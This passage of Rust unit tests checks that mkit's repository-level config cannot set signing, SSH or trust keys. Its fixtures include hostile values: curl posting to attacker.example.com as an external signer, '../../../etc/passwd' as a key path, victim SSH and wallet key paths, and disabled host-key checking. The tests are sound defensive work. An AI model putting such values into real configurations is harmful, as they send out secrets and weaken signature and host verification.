1423 assert_eq!(normalize_config_key("user.identity"), "user.identity");
1424 assert_eq!(
1426 normalize_config_key("remote.Origin.url"),
1427 "remote.Origin.url"
1428 );
1429 assert_eq!(
1430 normalize_config_key("Remote.Origin.URL"),
1431 "remote.Origin.url"
1432 );
1433 assert_eq!(
1434 normalize_config_key("branch.Release.remote"),
1435 "branch.Release.remote"
1436 );
1437 assert_eq!(normalize_config_key("Remote.A.B.URL"), "remote.A.B.url");
1442 assert_eq!(
1443 normalize_config_key("HTTP.https://Ex.com/.SSLVerify"),
1444 "http.https://Ex.com/.sslverify"
1445 );
1446 assert_eq!(normalize_config_key("Foo"), "foo");
1448 }
1449
1450 #[test]
1451 fn config_file_preserves_subsection_case() {
1452 let dir = TempDir::new().unwrap();
1456 std::fs::create_dir_all(dir.path().join(".mkit")).unwrap();
1457 std::fs::write(
1458 dir.path().join(".mkit/config"),
1459 "remote.Origin.url = mkit+file:///tmp/x\nremote.Origin.type = file\n",
1460 )
1461 .unwrap();
1462 let cfg = read_or_default(&RepoLayout::single(dir.path())).unwrap();
1463 assert!(
1464 cfg.remotes.contains_key("Origin"),
1465 "subsection case lost on reload: {:?}",
1466 cfg.remotes.keys().collect::<Vec<_>>()
1467 );
1468 assert!(!cfg.remotes.contains_key("origin"));
1469 }
1470
1471 #[test]
1472 fn durability_objects_key_selects_sync_policy() {
1473 let mut cfg = Config::with_defaults();
1477 assert_eq!(
1478 cfg.object_sync_policy(),
1479 mkit_core::store::SyncPolicy::Batch
1480 );
1481 apply_kv(&mut cfg, "durability.objects", "per-object");
1482 assert_eq!(
1483 cfg.object_sync_policy(),
1484 mkit_core::store::SyncPolicy::PerObject
1485 );
1486 let dir = tempfile::tempdir().unwrap();
1488 write(&RepoLayout::single(dir.path()), &cfg).unwrap();
1489 let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
1490 assert!(text.contains("durability.objects = per-object"));
1491 apply_kv(&mut cfg, "durability.objects", "bogus");
1492 assert_eq!(
1493 cfg.object_sync_policy(),
1494 mkit_core::store::SyncPolicy::Batch
1495 );
1496 }
1497
1498 fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
1502 let td = TempDir::new().unwrap();
1503 let mut cfg = Config::with_defaults();
1504 if let Some(text) = user_text {
1505 let upath = td.path().join("user_config");
1506 fs::write(&upath, text).unwrap();
1507 apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
1508 }
1509 if let Some(text) = repo_text {
1510 let rpath = td.path().join("repo_config");
1511 fs::write(&rpath, text).unwrap();
1512 apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
1513 }
1514 cfg
1515 }
1516
1517 fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
1518 let td = TempDir::new().unwrap();
1519 let user_path = td.path().join("user_config");
1520 let repo_path = td.path().join("repo_config");
1521 if let Some(text) = user_text {
1522 fs::write(&user_path, text).unwrap();
1523 }
1524 if let Some(text) = repo_text {
1525 fs::write(&repo_path, text).unwrap();
1526 }
1527 let mut merged = Config::with_defaults();
1528 apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
1529 apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
1530 let mut user = Config::default();
1531 let mut repo = Config::default();
1532 apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
1533 apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
1534 LayeredConfig { merged, user, repo }
1535 }
1536
1537 #[test]
1538 fn read_default_when_missing() {
1539 let td = TempDir::new().unwrap();
1540 let cfg = Config::with_defaults();
1543 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1544 assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
1545 assert!(cfg.remote_endpoint.is_empty());
1546 let _ = read_or_default(&RepoLayout::single(td.path())).unwrap();
1549 }
1550
1551 #[test]
1552 fn roundtrip_repo_safe_keys() {
1553 let cfg = layer(
1554 Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
1555 None,
1556 );
1557 assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
1558 assert_eq!(cfg.remote_type, "file");
1559 }
1560
1561 #[test]
1562 fn write_does_not_emit_forbidden_repo_keys() {
1563 let td = TempDir::new().unwrap();
1564 fs::create_dir_all(td.path().join(".mkit")).unwrap();
1565 let mut cfg = Config::with_defaults();
1566 cfg.user_identity = "01200011".into();
1567 cfg.signing_key = "/should/not/be/written".into();
1568 cfg.signer = "keystore".into();
1569 cfg.key.backend = "software".into();
1570 cfg.key.default_ref = "software:attacker".into();
1571 cfg.ssh_strict_host_key_checking = "no".into();
1572 cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
1573 write(&RepoLayout::single(td.path()), &cfg).unwrap();
1574 let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
1575 assert!(!on_disk.contains("user.identity"));
1576 assert!(!on_disk.contains("signing_key"));
1577 assert!(!on_disk.contains("signer"));
1578 assert!(!on_disk.contains("key.default_ref"));
1579 assert!(!on_disk.contains("ssh.strict_host_key_checking"));
1580 assert!(!on_disk.contains("external_signer_path"));
1581 }
1582
1583 #[test]
1584 fn repo_signing_key_is_rejected_with_warning() {
1585 let cfg = layer(
1589 Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
1590 None,
1591 );
1592 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1593 assert_eq!(cfg.remote_type, "file");
1594 }
1595
1596 #[test]
1597 fn repo_user_identity_is_rejected() {
1598 let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
1599 assert!(cfg.user_identity.is_empty());
1600 }
1601
1602 #[test]
1603 fn repo_trusted_remote_endpoint_is_rejected() {
1604 let cfg = layer(
1605 Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
1606 None,
1607 );
1608 assert!(cfg.trusted_remote_endpoint.is_empty());
1609 }
1610
1611 #[test]
1612 fn repo_external_signer_is_rejected() {
1613 let cfg = layer(
1614 Some(
1615 "attest.external_signer_path = /usr/bin/curl\n\
1616 attest.external_signer_args = -X|POST|attacker.example.com\n\
1617 attest.signer = external\n",
1618 ),
1619 None,
1620 );
1621 assert!(cfg.attest.external_signer_path.is_empty());
1622 assert!(cfg.attest.external_signer_args.is_empty());
1623 assert_eq!(cfg.attest.signer, "");
1630 }
1631
1632 #[test]
1639 fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
1640 let cfg = layer(
1641 Some("attest.signer = external\n"),
1642 Some(
1643 "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
1644 attest.external_signer_args = sign\n",
1645 ),
1646 );
1647 assert_eq!(
1651 cfg.attest.external_signer_path,
1652 "/home/user/bin/yubikey-sign"
1653 );
1654 assert_eq!(cfg.attest.signer, "");
1655 assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1656 }
1657
1658 #[test]
1663 fn repo_attest_default_algorithm_is_rejected() {
1664 let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
1665 assert_eq!(cfg.attest.default_algorithm, "");
1666 assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1668 }
1669
1670 #[test]
1671 fn repo_keystore_selectors_are_rejected() {
1672 let cfg = layer(
1673 Some(
1674 "signer = keystore\n\
1675 key.backend = yubikey\n\
1676 key.default_ref = yubikey:main\n\
1677 key.ed25519_ref = software:repo-ed\n\
1678 key.secp256k1_ref = software:repo-k1\n\
1679 key.p256_ref = software:repo-p256\n",
1680 ),
1681 None,
1682 );
1683 assert_eq!(cfg.signer, DEFAULT_SIGNER);
1684 assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
1685 assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1686 assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1687 assert_eq!(
1688 cfg.key.secp256k1_ref_or_fallback(),
1689 DEFAULT_SECP256K1_KEY_REF
1690 );
1691 assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1692 }
1693
1694 #[test]
1695 fn user_keystore_selectors_are_honored() {
1696 let cfg = layer(
1697 None,
1698 Some(
1699 "signer = keystore\n\
1700 key.backend = software\n\
1701 key.default_ref = software:user-default\n\
1702 key.ed25519_ref = software:user-ed\n\
1703 key.secp256k1_ref = software:user-k1\n\
1704 key.p256_ref = software:user-p256\n",
1705 ),
1706 );
1707 assert_eq!(cfg.signer, "keystore");
1708 assert_eq!(cfg.key.backend, "software");
1709 assert_eq!(cfg.key.default_ref, "software:user-default");
1710 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
1711 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
1712 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
1713 }
1714
1715 #[test]
1716 fn user_default_key_ref_is_generic_fallback() {
1717 let cfg = layer(None, Some("key.default_ref = software:release\n"));
1718 assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1719 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
1720 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
1721 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
1722 }
1723
1724 #[test]
1725 fn algorithm_key_refs_override_default_key_ref() {
1726 let cfg = layer(
1727 None,
1728 Some(
1729 "key.default_ref = software:release\n\
1730 key.ed25519_ref = software:ed\n\
1731 key.secp256k1_ref = software:k1\n\
1732 key.p256_ref = software:p256\n",
1733 ),
1734 );
1735 assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1736 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
1737 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
1738 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
1739 }
1740
1741 #[test]
1742 fn repo_ssh_host_key_checking_is_rejected() {
1743 let cfg = layer(
1744 Some(
1745 "ssh.strict_host_key_checking = no\n\
1746 ssh.user_known_hosts_file = /dev/null\n",
1747 ),
1748 None,
1749 );
1750 assert!(cfg.ssh_strict_host_key_checking.is_empty());
1751 assert!(cfg.ssh_user_known_hosts_file.is_empty());
1752 }
1753
1754 #[test]
1760 fn repo_ssh_identity_file_is_rejected() {
1761 let cfg = layer(
1762 Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
1763 None,
1764 );
1765 assert!(cfg.ssh_identity_file.is_empty());
1766 }
1767
1768 #[test]
1773 fn repo_pull_require_signed_is_rejected() {
1774 let cfg = layer(Some("pull.require_signed = false\n"), None);
1775 assert!(cfg.pull_require_signed.is_empty());
1776 assert!(cfg.pull_require_signed_or_default());
1777 }
1778
1779 #[test]
1782 fn user_pull_require_signed_false_disables_verification() {
1783 let cfg = layer(None, Some("pull.require_signed = false\n"));
1784 assert_eq!(cfg.pull_require_signed, "false");
1785 assert!(!cfg.pull_require_signed_or_default());
1786 }
1787
1788 #[test]
1791 fn pull_require_signed_defaults_to_true_and_rejects_typos() {
1792 assert!(Config::default().pull_require_signed_or_default());
1793 let cfg = layer(None, Some("pull.require_signed = nope\n"));
1794 assert!(cfg.pull_require_signed_or_default());
1795 for falsy in ["false", "0", "no", "off", "FALSE", "Off"] {
1796 let cfg = layer(None, Some(&format!("pull.require_signed = {falsy}\n")));
1797 assert!(
1798 !cfg.pull_require_signed_or_default(),
1799 "{falsy} should disable verification"
1800 );
1801 }
1802 }
1803
1804 #[test]
1807 fn repo_attest_secp256k1_key_path_is_rejected() {
1808 let cfg = layer(
1809 Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
1810 None,
1811 );
1812 assert!(cfg.attest.secp256k1_key_path.is_empty());
1813 assert_eq!(
1815 cfg.attest.secp256k1_key_path_or_default(),
1816 ".mkit/keys/secp256k1.key"
1817 );
1818 }
1819
1820 #[test]
1822 fn repo_attest_p256_key_path_is_rejected() {
1823 let cfg = layer(
1824 Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
1825 None,
1826 );
1827 assert!(cfg.attest.p256_key_path.is_empty());
1828 assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1829 }
1830
1831 #[test]
1841 fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
1842 const SENTINEL: &str = "EXFIL_SENTINEL";
1848
1849 for key in REPO_FORBIDDEN_KEYS {
1850 let line = format!("{key} = {SENTINEL}\n");
1851 let cfg = layer(Some(&line), None);
1852 let observed = match *key {
1855 "user.identity" => cfg.user_identity.as_str(),
1856 "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
1857 "signer" => cfg.signer.as_str(),
1858 "pull.require_signed" => cfg.pull_require_signed.as_str(),
1859 "key.backend" => cfg.key.backend.as_str(),
1860 "key.default_ref" => cfg.key.default_ref.as_str(),
1861 "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
1862 "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
1863 "key.p256_ref" => cfg.key.p256_ref.as_str(),
1864 "signing_key" => cfg.signing_key.as_str(),
1865 "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
1866 "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
1867 "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
1868 "attest.signer" => cfg.attest.signer.as_str(),
1869 "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
1870 "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
1871 "attest.external_signer_args" => {
1872 if cfg.attest.external_signer_args.is_empty() {
1874 ""
1875 } else {
1876 "<non-empty>"
1877 }
1878 }
1879 "attest.external_signer_timeout_secs" => {
1880 if cfg.attest.external_signer_timeout_secs.is_none() {
1885 ""
1886 } else {
1887 "<set>"
1888 }
1889 }
1890 "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
1891 "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
1892 other => panic!(
1898 "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
1899 in config.rs has no matching field accessor. Add an arm \
1900 to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
1901 so the per-key drop is verified.",
1902 ),
1903 };
1904 assert!(
1911 observed != SENTINEL,
1912 "forbidden key `{key}` was NOT dropped from repo scope — \
1913 observed `{observed}` (matches attacker SENTINEL)",
1914 );
1915 }
1916 }
1917
1918 #[test]
1919 fn user_signing_key_is_honored() {
1920 let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
1921 assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
1922 }
1923
1924 fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
1929 where
1930 F: Fn(&str) -> Option<String>,
1931 {
1932 let endpoint = cfg.merged.remote_endpoint.trim();
1933 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1934 trusted_remote_error_for(
1935 endpoint,
1936 repo_chosen,
1937 cfg.user.trusted_remote_endpoint.trim(),
1938 getenv,
1939 )
1940 }
1941
1942 #[test]
1943 fn repo_http_remote_with_token_requires_user_trust() {
1944 let cfg = layered(
1945 Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1946 None,
1947 );
1948 let msg = gate_for_flat(&cfg, &|name| {
1949 (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1950 })
1951 .expect("repo-scoped HTTP remote with token must be rejected");
1952 assert!(msg.contains("trusted_remote_endpoint"));
1953 }
1954
1955 #[test]
1956 fn trusted_http_remote_is_allowed() {
1957 let cfg = layered(
1958 Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1959 Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
1960 );
1961 let msg = gate_for_flat(&cfg, &|name| {
1962 (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1963 });
1964 assert!(msg.is_none());
1965 }
1966
1967 #[test]
1968 fn repo_s3_remote_with_env_creds_requires_user_trust() {
1969 let cfg = layered(
1970 Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
1971 None,
1972 );
1973 let msg = gate_for_flat(&cfg, &|name| match name {
1974 mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
1975 _ => None,
1976 })
1977 .expect("repo-scoped S3 remote with env creds must be rejected");
1978 assert!(msg.contains("trusted_remote_endpoint"));
1979 }
1980
1981 #[test]
1987 fn user_chosen_http_remote_with_token_is_allowed() {
1988 let token =
1989 |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
1990 let ep = "mkit+https://example.invalid/repo";
1991 assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
1993 assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
1995 }
1996
1997 #[test]
2001 fn repo_http_remote_without_token_is_allowed() {
2002 let none = |_: &str| None;
2003 let ep = "mkit+https://example.invalid/repo";
2004 assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
2005 }
2006
2007 #[test]
2010 fn ssh_and_file_endpoints_bypass_credential_gate() {
2011 let all = |_: &str| Some("present".to_string());
2012 assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
2013 assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
2014 }
2015
2016 #[test]
2020 fn endpoint_credential_trust_honours_provenance_and_user_trust() {
2021 let cfg = layered(
2022 None,
2023 Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
2024 );
2025 let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
2030 assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
2032 }
2033
2034 #[test]
2035 fn repo_safe_keys_override_user() {
2036 let cfg = layer(
2040 Some("default_branch = release\n"),
2041 Some("default_branch = trunk\n"),
2042 );
2043 assert_eq!(cfg.default_branch, "release");
2044 }
2045
2046 #[test]
2047 fn validate_key_path_rejects_parent_dir() {
2048 assert!(validate_key_path("../etc/passwd").is_err());
2049 assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
2050 assert!(validate_key_path("foo/../bar").is_err());
2051 }
2052
2053 #[test]
2054 fn validate_key_path_accepts_relative_and_absolute() {
2055 assert!(validate_key_path("").is_ok());
2056 assert!(validate_key_path(".mkit/keys/default.key").is_ok());
2057 assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
2058 }
2059
2060 #[test]
2061 fn resolve_key_path_resolves_against_common_dir_in_linked_worktree() {
2062 let layout = RepoLayout::linked("/trees/wt1", "/main/.mkit/worktrees/wt1", "/main/.mkit");
2065 let out = resolve_key_path(&layout, ".mkit/keys/default.key").unwrap();
2066 assert_eq!(out, std::path::Path::new("/main/.mkit/keys/default.key"));
2067 }
2068
2069 #[test]
2070 fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
2071 let td = TempDir::new().unwrap();
2072 assert!(
2073 resolve_key_path(&RepoLayout::single(td.path()), ".mkit/custom/global.key").is_err()
2074 );
2075 }
2076
2077 #[test]
2078 fn resolve_key_path_accepts_relative_path_under_repo_keys() {
2079 let td = TempDir::new().unwrap();
2080 let out = resolve_key_path(
2081 &RepoLayout::single(td.path()),
2082 ".mkit/keys/custom/global.key",
2083 )
2084 .unwrap();
2085 assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
2086 }
2087
2088 #[cfg(unix)]
2089 #[test]
2090 fn home_dir_for_euid_is_independent_of_home_env() {
2091 let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
2099 assert!(from_passwd.is_absolute());
2100 let td = TempDir::new().unwrap();
2107 let inside = from_passwd.join(".mkit/test-inside.key");
2108 assert!(resolve_key_path(&RepoLayout::single(td.path()), inside.to_str().unwrap()).is_ok());
2109 assert!(
2112 resolve_key_path(
2113 &RepoLayout::single(td.path()),
2114 "/__definitely_not_a_home_dir__/x.key"
2115 )
2116 .is_err()
2117 );
2118 }
2119
2120 #[test]
2121 fn expand_user_identity_ed25519() {
2122 let hex = "11".repeat(32);
2123 let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
2124 assert_eq!(out.len(), 70);
2125 assert!(out.starts_with("012000"));
2126 }
2127
2128 #[test]
2129 fn expand_user_identity_mid() {
2130 let out = expand_user_identity("mid:42").unwrap();
2131 assert_eq!(out, "0308002a00000000000000");
2132 }
2133
2134 #[test]
2135 fn expand_rejects_bogus() {
2136 assert!(expand_user_identity("").is_err());
2137 assert!(expand_user_identity("ed25519:short").is_err());
2138 assert!(expand_user_identity("mid:notanumber").is_err());
2139 assert!(expand_user_identity("zzzzzz").is_err());
2140 }
2141
2142 #[test]
2143 fn validate_value_rejects_control_chars() {
2144 assert!(validate_value("hello world").is_ok());
2145 assert!(validate_value("bad\x01char").is_err());
2146 assert!(validate_value("\x7fdel").is_err());
2147 }
2148
2149 #[test]
2150 fn attest_config_defaults_are_empty() {
2151 let cfg = Config::with_defaults();
2152 assert_eq!(cfg.signer, DEFAULT_SIGNER);
2153 assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
2154 assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
2155 assert!(cfg.key.default_ref.is_empty());
2156 assert!(cfg.key.ed25519_ref.is_empty());
2157 assert!(cfg.key.secp256k1_ref.is_empty());
2158 assert!(cfg.key.p256_ref.is_empty());
2159 assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
2160 assert_eq!(
2161 cfg.key.secp256k1_ref_or_fallback(),
2162 DEFAULT_SECP256K1_KEY_REF
2163 );
2164 assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
2165 assert_eq!(cfg.attest.default_algorithm, "");
2166 assert_eq!(cfg.attest.signer, "");
2167 assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
2168 assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
2169 assert_eq!(
2170 cfg.attest.secp256k1_key_path_or_default(),
2171 ".mkit/keys/secp256k1.key"
2172 );
2173 assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
2174 }
2175
2176 #[test]
2177 fn legacy_keys_are_ignored_in_repo() {
2178 let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
2179 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
2180 }
2181
2182 #[test]
2187 fn user_kv_replace_or_append_logic_via_roundtrip() {
2188 let td = TempDir::new().unwrap();
2189 let path = td.path().join("user_config");
2190 fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
2191 let mut text = fs::read_to_string(&path).unwrap();
2195 text = text.replace("/a", "/b");
2196 fs::write(&path, text).unwrap();
2197 let mut cfg = Config::with_defaults();
2198 apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
2199 assert_eq!(cfg.signing_key, "/b");
2200 assert_eq!(cfg.default_branch, "trunk");
2201 }
2202
2203 #[test]
2204 fn named_remote_keys_parse_repo_safe() {
2205 let cfg = layer(
2206 Some(
2207 "remote.origin.url = mkit+file:///srv/m\n\
2208 remote.origin.type = file\n\
2209 branch.main.remote = origin\n\
2210 branch.main.merge = main\n",
2211 ),
2212 None,
2213 );
2214 let origin = cfg.remotes.get("origin").expect("origin present");
2215 assert_eq!(origin.url, "mkit+file:///srv/m");
2216 assert_eq!(origin.remote_type, "file");
2217 let up = cfg.branch_upstreams.get("main").expect("upstream present");
2218 assert_eq!(up.remote, "origin");
2219 assert_eq!(up.branch, "main");
2220 }
2221
2222 #[test]
2223 fn named_remote_roundtrips_through_write() {
2224 let td = TempDir::new().unwrap();
2225 let mut cfg = Config::with_defaults();
2226 cfg.remotes.insert(
2227 "origin".into(),
2228 RemoteEntry {
2229 url: "mkit+https://h/r".into(),
2230 remote_type: "http".into(),
2231 },
2232 );
2233 cfg.branch_upstreams.insert(
2234 "main".into(),
2235 Upstream {
2236 remote: "origin".into(),
2237 branch: "main".into(),
2238 },
2239 );
2240 write(&RepoLayout::single(td.path()), &cfg).unwrap();
2241 let reloaded = read_or_default(&RepoLayout::single(td.path())).unwrap();
2242 assert_eq!(
2243 reloaded.remotes.get("origin").unwrap().url,
2244 "mkit+https://h/r"
2245 );
2246 assert_eq!(
2247 reloaded.branch_upstreams.get("main").unwrap().remote,
2248 "origin"
2249 );
2250 }
2251
2252 #[test]
2253 fn resolve_remote_default_and_named_provenance() {
2254 let lc = layered(
2256 Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
2257 None,
2258 );
2259 let r = resolve_remote(&lc, "origin").expect("origin resolves");
2260 assert_eq!(r.endpoint, "mkit+https://h/r");
2261 assert!(r.repo_chosen);
2262
2263 let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
2265 let r = resolve_remote(&lc, "default").expect("default resolves");
2266 assert!(r.repo_chosen);
2267
2268 let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
2270 let r = resolve_remote(&lc, "").expect("empty -> default");
2271 assert!(!r.repo_chosen);
2272
2273 let lc = layered(None, None);
2275 assert!(resolve_remote(&lc, "nope").is_none());
2276 }
2277
2278 #[test]
2279 fn resolve_upstream_explicit_and_fallback() {
2280 let lc = layered(
2281 Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
2282 None,
2283 );
2284 let up = resolve_upstream(&lc, "main").unwrap();
2285 assert_eq!(up.remote, "origin");
2286 assert_eq!(up.branch, "trunk");
2287
2288 let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
2290 let up = resolve_upstream(&lc, "feature").unwrap();
2291 assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
2292 assert_eq!(up.branch, "feature");
2293
2294 let lc = layered(None, None);
2296 assert!(resolve_upstream(&lc, "main").is_none());
2297 }
2298}